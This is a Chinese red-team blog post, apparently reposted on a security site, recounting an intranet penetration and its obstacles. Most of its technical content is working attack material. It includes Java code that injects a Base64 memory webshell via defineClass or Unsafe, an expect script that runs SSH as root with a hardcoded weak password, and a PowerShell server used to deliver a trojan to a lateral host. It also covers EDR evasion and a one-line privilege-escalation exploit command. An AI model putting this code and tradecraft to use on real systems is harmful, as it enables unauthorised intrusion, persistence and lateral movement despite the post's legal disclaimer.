记录一次攻防,遇到各种奇奇怪怪的问题.

admin 2026-07-02 05:06:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档记录了一次内网渗透实战经历,详细描述了遇到的七个主要问题及解决方案:包括冰蝎内存马注入、WebSocket协议不上线、交互式shell不可用、隧道代理被拦截、文件下载困难、扫描工具被查杀以及Linux提权问题。文章提供了具体的技术应对措施,如使用非交互式shell、PowerShell搭建HTTP服务器、更换扫描工具等,并强调武器化工具储备的重要性。 综合评分: 78 文章分类: 红队,内网渗透,WEB安全,实战经验,安全工具


cover_image

记录一次攻防,遇到各种奇奇怪怪的问题.

原创

ChinaRan404 ChinaRan404

知攻善防实验室

2026年7月1日 08:51 浙江

在小说阅读器读本章

去阅读

前言

 真是倒大霉了,破内网,问题太多了,研究了一天,每一步都是坑,每一步都在跟安全环境对抗。

问题 1:入口冰蝎

工具梭哈的入口 shell,不想去折腾漏洞,工具打的冰蝎内存马,需要注入一个其他工具的内存马

import javax.servlet.ServletOutputStream;import javax.servlet.ServletResponse;import java.lang.reflect.Method;import java.util.Map;
public class Test {
  private Object Request;  private Object Response;  private Object Session;
  @Override  public boolean equals(Object obj) {      try {         fillContext(obj);          ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
          String b64 = "Base64内存马";        byte[] bytecode = java.util.Base64.getDecoder().decode(b64);
         &nbsp;// 方式1: ClassLoader#defineClass 加载        &nbsp;Method&nbsp;defineClass =&nbsp;ClassLoader.class.getDeclaredMethod(           &nbsp;"defineClass",&nbsp;String.class, byte[].class, int.class, int.class);        &nbsp;defineClass.setAccessible(true);      &nbsp;Class<?> clazz = (Class<?>) defineClass.invoke(           &nbsp;Thread.currentThread().getContextClassLoader(),           &nbsp;null, bytecode,&nbsp;0, bytecode.length);
         &nbsp;clazz.newInstance();
         &nbsp;so.write("MemShell injected OK".getBytes("UTF-8"));       &nbsp;so.flush();       &nbsp;so.close();   &nbsp;}&nbsp;catch&nbsp;(Exception&nbsp;e) {        &nbsp;// 如果 defineClass 失败,尝试 Unsafe 方式         &nbsp;try&nbsp;{            &nbsp;String&nbsp;b64 =&nbsp;"Base64 内存马";          &nbsp;byte[] bytecode = java.util.Base64.getDecoder().decode(b64);
             &nbsp;java.lang.reflect.Field&nbsp;f = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");             &nbsp;f.setAccessible(true);            &nbsp;sun.misc.Unsafe&nbsp;u = (sun.misc.Unsafe) f.get(null);           &nbsp;Class<?> clazz = u.defineClass(               &nbsp;null, bytecode,&nbsp;0, bytecode.length,              &nbsp;Thread.currentThread().getContextClassLoader(),&nbsp;null);           &nbsp;clazz.newInstance();
             &nbsp;ServletOutputStream&nbsp;so = ((ServletResponse)&nbsp;Response).getOutputStream();            &nbsp;so.write("MemShell injected OK (Unsafe)".getBytes("UTF-8"));          &nbsp;so.flush();           &nbsp;so.close();       &nbsp;}&nbsp;catch&nbsp;(Exception&nbsp;ex) {           &nbsp;ex.printStackTrace();         &nbsp;}     &nbsp;}     &nbsp;return&nbsp;true;&nbsp; }
&nbsp;&nbsp;private&nbsp;void&nbsp;fillContext(Object&nbsp;obj) throws&nbsp;Exception&nbsp;{     &nbsp;if&nbsp;(obj.getClass().getName().indexOf("PageContext") >=&nbsp;0) {         &nbsp;this.Request&nbsp;= obj.getClass().getDeclaredMethod("getRequest").invoke(obj);       &nbsp;this.Response&nbsp;= obj.getClass().getDeclaredMethod("getResponse").invoke(obj);         &nbsp;this.Session&nbsp;= obj.getClass().getDeclaredMethod("getSession").invoke(obj);   &nbsp;}&nbsp;else&nbsp;{        &nbsp;Map<String,&nbsp;Object> objMap = (Map<String,&nbsp;Object>) obj;         &nbsp;this.Session&nbsp;= objMap.get("session");        &nbsp;this.Response&nbsp;= objMap.get("response");      &nbsp;this.Request&nbsp;= objMap.get("request");    &nbsp;}     &nbsp;Response.getClass().getDeclaredMethod(        &nbsp;"setCharacterEncoding",&nbsp;String.class).invoke(Response,&nbsp;"UTF-8");&nbsp; }}

冰蝎这里执行即可,内存马从这生成https://party.mem.mk/ui

问题 2: WS 协议不上线

websocket 不上线->改用 tcp 通信,(下文说了,长连接会有问题)

此时的同时,反向隧道出来也是不稳定的下面会说,并且各种隧道工具(不限于开源、自研,全都试了,全都被 kill)

问题 3:交互式 shell 用不了

为什么用不了?我也不知道,换了好几个 C2、vshell、cs 魔改、内部 c2,全都用不了,通信和问题 3 一样会一卡一卡的(长连接会被中断),有知道的师傅留言讨论一下

解决方法:使用非交互式 shell,目标是横一台弱口令再进行二次驻点横向

问题 4:隧道代理打进去,横向移动会被流量设备拦截

隧道代理打进去,横向移动会被流量设备拦截,比如访问一个内网网站,需要建立多次连接,可能连接第一次可以,第二次就被拦截了。

SSH 的话就会遇到这个问题

解决方法:

非交互式 shell 连接 ssh 进行命令执行

&nbsp;echo&nbsp;'#!/usr/bin/expect'&nbsp;> /tmp/ssh2.exp;&nbsp;echo&nbsp;'spawn /usr/bin/ssh -o StrictHostKeyChecking=no root@IP ping baidu.com -c 1'&nbsp;>> /tmp/ssh2.exp;&nbsp;echo&nbsp;'expect Password:'&nbsp;>> /tmp/ssh2.exp;&nbsp;echo&nbsp;'send admin123\\r'&nbsp;>> /tmp/ssh2.exp;&nbsp;echo&nbsp;'expect eof'&nbsp;>> /tmp/ssh2.exp; /usr/bin/expect /tmp/ssh2.exp

这样就可以了。如果你有自己的 C2,强烈建议加一个 MCP,有时候 AI 可以帮你解决很多问题。

反思:既然 Server1 端连接其他机器没问题,那肯定就是出网流量问题,Server2 端出网反向隧道也没问题,那肯定就是 Server1 的某个进程会杀流量

问题 5:文件下载问题

入口点 A(Windows)->横向 B Linux不出网,且 B Linux为冷门 CPU 架构,且 B Linux 系统不完整,sftp、scp用不了。

解决方法->入口机 powershell 起一个 http 服务,远程下载正向连接木马

那么有老铁问了,为什么不传个建议 http 服务器 exe 文件进去,或者 python -m http.server ?

因为尽量动作最小,本机没 python 环境。

powershell 另存为 ps1文件,运行即可:

# 简易原生HTTP静态文件服务器,监听本机所有网卡0.0.0.0:8080$port&nbsp;=&nbsp;8080$rootPath&nbsp;=&nbsp;Get-Location&nbsp;# 当前终端目录作为网站根目录$listener&nbsp;=&nbsp;New-Object&nbsp;System.Net.HttpListener$listener.Prefixes.Add("http://+:${port}/")$listener.Start()Write-Host&nbsp;"服务已启动:http://localhost:$port&nbsp; | 局域网IP:${port}"Write-Host&nbsp;"网站根目录:$rootPath"Write-Host&nbsp;"按 Ctrl+C 停止服务"try&nbsp;{&nbsp; &nbsp;&nbsp;while&nbsp;($listener.IsListening) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$context&nbsp;=&nbsp;$listener.GetContext()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$req&nbsp;=&nbsp;$context.Request&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res&nbsp;=&nbsp;$context.Response&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$filePath&nbsp;=&nbsp;Join-Path&nbsp;$rootPath&nbsp;$req.Url.LocalPath.TrimStart('/')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 目录自动补index.html&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Test-Path&nbsp;$filePath&nbsp;-PathType&nbsp;Container) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$filePath&nbsp;=&nbsp;Join-Path&nbsp;$filePath&nbsp;"index.html"&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 文件存在则返回,否则404&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Test-Path&nbsp;$filePath&nbsp;-PathType&nbsp;Leaf) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$bytes&nbsp;= [System.IO.File]::ReadAllBytes($filePath)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res.ContentLength64 =&nbsp;$bytes.Length&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res.OutputStream.Write($bytes,0,$bytes.Length)&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$msg&nbsp;=&nbsp;"404 文件不存在:$($req.Url.LocalPath)"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$buf&nbsp;= [System.Text.Encoding]::UTF8.GetBytes($msg)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res.StatusCode =&nbsp;404&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res.ContentLength64 =&nbsp;$buf.Length&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res.OutputStream.Write($buf,0,$buf.Length)&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$res.OutputStream.Close()&nbsp; &nbsp; }}&nbsp;finally&nbsp;{&nbsp; &nbsp;&nbsp;$listener.Stop()&nbsp; &nbsp;&nbsp;Write-Host&nbsp;"服务已关闭"}

问题 6:扫描工具被 kill

某恒 edr 进步很明显,已经可以 kill 绝大多数的开源内网扫描工具了,直接换 gogo 或者二开 fscan(这个要大改)

所以平时武器化工具一定要储备

顺带提一嘴:浙江地区真是某恒的天下啊,每次攻防都遇到这个问题

问题 7:Linux提权问题

需要 icmp 探段,icmp 就需要root,root 就要提权CACM 秒了

./CACM_amd64_zh_tools_stealth&nbsp;-c&nbsp;"cve run DIRTY-FRAG-2026 whoami"

具体 CACM 是什么工具看这篇

Linux 后渗透利用神器 CACM 更新v2.4


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:知攻善防实验室 ChinaRan404 ChinaRan404《记录一次攻防,遇到各种奇奇怪怪的问题.》

我宣誓! 网络安全文章

我宣誓!

文章总结: 该文档为公安部网安局于2026年7月1日发布的网络安全宣誓公告,来源新华社。内容涉及网络安全领域的官方宣誓活动,旨在强化网络安全意识、促进法规遵守。
评论:0   参与:  0